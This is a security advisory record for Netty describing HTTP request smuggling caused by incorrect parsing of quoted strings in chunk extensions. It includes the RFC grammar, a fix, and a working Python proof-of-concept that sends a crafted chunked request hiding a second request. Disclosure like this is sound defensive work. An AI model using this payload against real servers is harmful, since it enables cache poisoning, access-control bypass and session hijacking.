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  "summary": "Netty vulnerable to request smuggling due to incorrect parsing of chunk extensions"
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{
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    "nvd_published_at": "2026-03-27T20:16:34Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nNetty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.\n\n## Background\n\nThis vulnerability is a new variant discovered during research into the \"Funky Chunks\" HTTP request smuggling techniques:\n\n- \u003chttps://w4ke.info/2025/06/18/funky-chunks.html\u003e\n- \u003chttps://w4ke.info/2025/10/29/funky-chunks-2.html\u003e\n\nThe original research tested various chunk extension parsing differentials but did not cover quoted-string handling within extension values.\n\n## Technical Details\n\n**RFC 9110 Section 7.1.1** defines chunked transfer encoding:\n\n```\nchunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF\nchunk-ext = *( BWS \";\" BWS chunk-ext-name [ BWS \"=\" BWS chunk-ext-val ] )\nchunk-ext-val = token / quoted-string\n```\n\n**RFC 9110 Section 5.6.4** defines quoted-string:\n\n```\nquoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE\n```\n\nCritically, the allowed character ranges within a quoted-string are:\n\n```\nqdtext = HTAB / SP / %x21 / %x23-5B / %x5D-7E / obs-text\nquoted-pair = \"\\\" ( HTAB / SP / VCHAR / obs-text )\n```\n\nCR (`%x0D`) and LF (`%x0A`) bytes fall outside all of these ranges and are therefore **not permitted** inside chunk extensions\u2014whether quoted or unquoted. A strictly compliant parser should reject any request containing CR or LF bytes before the actual line terminator within a chunk extension with a `400 Bad Request` response (as Squid does, for example).\n\n## Vulnerability\n\nNetty terminates chunk header parsing at `\\r\\n` inside quoted strings instead of rejecting the request as malformed. This creates a parsing differential between Netty and RFC-compliant parsers, which can be exploited for request smuggling.\n\n**Expected behavior (RFC-compliant):**\nA request containing CR/LF bytes within a chunk extension value should be rejected outright as invalid.\n\n**Actual behavior (Netty):**\n\n```\nChunk: 1;a=\"value\n            ^^^^^ parsing terminates here at \\r\\n (INCORRECT)\nBody: here\"... is treated as body or the beginning of a subsequent request\n```\n\nThe root cause is that Netty does not validate that CR/LF bytes are forbidden inside chunk extensions before the terminating CRLF. Rather than attempting to parse through quoted strings, the appropriate fix is to reject such requests entirely.\n\n## Proof of Concept\n\n```python\n#!/usr/bin/env python3\nimport socket\n\npayload = (\n    b\"POST / HTTP/1.1\\r\\n\"\n    b\"Host: localhost\\r\\n\"\n    b\"Transfer-Encoding: chunked\\r\\n\"\n    b\"\\r\\n\"\n    b\u00271;a=\"\\r\\n\u0027\n    b\"X\\r\\n\"\n    b\"0\\r\\n\"\n    b\"\\r\\n\"\n    b\"GET /smuggled HTTP/1.1\\r\\n\"\n    b\"Host: localhost\\r\\n\"\n    b\"Content-Length: 11\\r\\n\"\n    b\"\\r\\n\"\n    b\u0027\"\\r\\n\u0027\n    b\"Y\\r\\n\"\n    b\"0\\r\\n\"\n    b\"\\r\\n\"\n)\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsock.settimeout(3)\nsock.connect((\"127.0.0.1\", 8080))\nsock.sendall(payload)\n\nresponse = b\"\"\nwhile True:\n    try:\n        chunk = sock.recv(4096)\n        if not chunk:\n            break\n        response += chunk\n    except socket.timeout:\n        break\n\nsock.close()\nprint(f\"Responses: {response.count(b\u0027HTTP/\u0027)}\")\nprint(response.decode(errors=\"replace\"))\n```\n\n**Result:** The server returns two HTTP responses from a single TCP connection, confirming request smuggling.\n\n### Parsing Breakdown\n\n| Parser                | Request 1         | Request 2                          |\n|-----------------------|-------------------|------------------------------------|\n| Netty (vulnerable)    | POST / body=\"X\"  | GET /smuggled (SMUGGLED)           |\n| RFC-compliant parser  | 400 Bad Request   | (none \u2014 malformed request rejected)|\n\n## Impact\n\n- **Request Smuggling**: An attacker can inject arbitrary HTTP requests into a connection.\n- **Cache Poisoning**: Smuggled responses may poison shared caches.\n- **Access Control Bypass**: Smuggled requests can circumvent frontend security controls.\n- **Session Hijacking**: Smuggled requests may intercept responses intended for other users.\n\n## Reproduction\n\n1. Start the minimal proof-of-concept environment using the provided Docker configuration.\n2. Execute the proof-of-concept script included in the attached archive.\n\n## Suggested Fix\n\nThe parser should reject requests containing CR or LF bytes within chunk extensions rather than attempting to interpret them:\n\n```\n1. Read chunk-size.\n2. If \u0027;\u0027 is encountered, begin parsing extensions:\n   a. For each byte before the terminating CRLF:\n      - If CR (%x0D) or LF (%x0A) is encountered outside the\n        final terminating CRLF, reject the request with 400 Bad Request.\n   b. If the extension value begins with DQUOTE, validate that all\n      enclosed bytes conform to the qdtext / quoted-pair grammar.\n3. Only treat CRLF as the chunk header terminator when it appears\n   outside any quoted-string context and contains no preceding\n   illegal bytes.\n```\n\n## Acknowledgments\n\nCredit to Ben Kallus for clarifying the RFC interpretation during discussion on the HAProxy mailing list.\n\n## Resources\n\n- [RFC 9110: HTTP Semantics (Sections 5.6.4, 7.1.1)](https://www.rfc-editor.org/rfc/rfc9110)\n- [Funky Chunks Research](https://w4ke.info/2025/06/18/funky-chunks.html)\n- [Funky Chunks 2 Research](https://w4ke.info/2025/10/29/funky-chunks-2.html)\n\n## Attachments\n\n![Vulnerability Diagram](https://github.com/user-attachments/assets/2faaa23e-693b-4efc-afb7-aae1d4101e7e)\n\n[java_netty.zip](https://github.com/user-attachments/files/24697955/java_netty.zip)",
  "id": "GHSA-pwqr-wmgm-9rr8",
  "modified": "2026-03-27T21:49:43Z",
  "published": "2026-03-26T18:48:55Z",
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    {
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      "url": "https://github.com/netty/netty/security/advisories/GHSA-pwqr-wmgm-9rr8"
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      "type": "WEB",
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      "type": "CVSS_V3"
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  ],
  "summary": "Netty: HTTP Request Smuggling via Chunked Extension Quoted-String Parsing"
}

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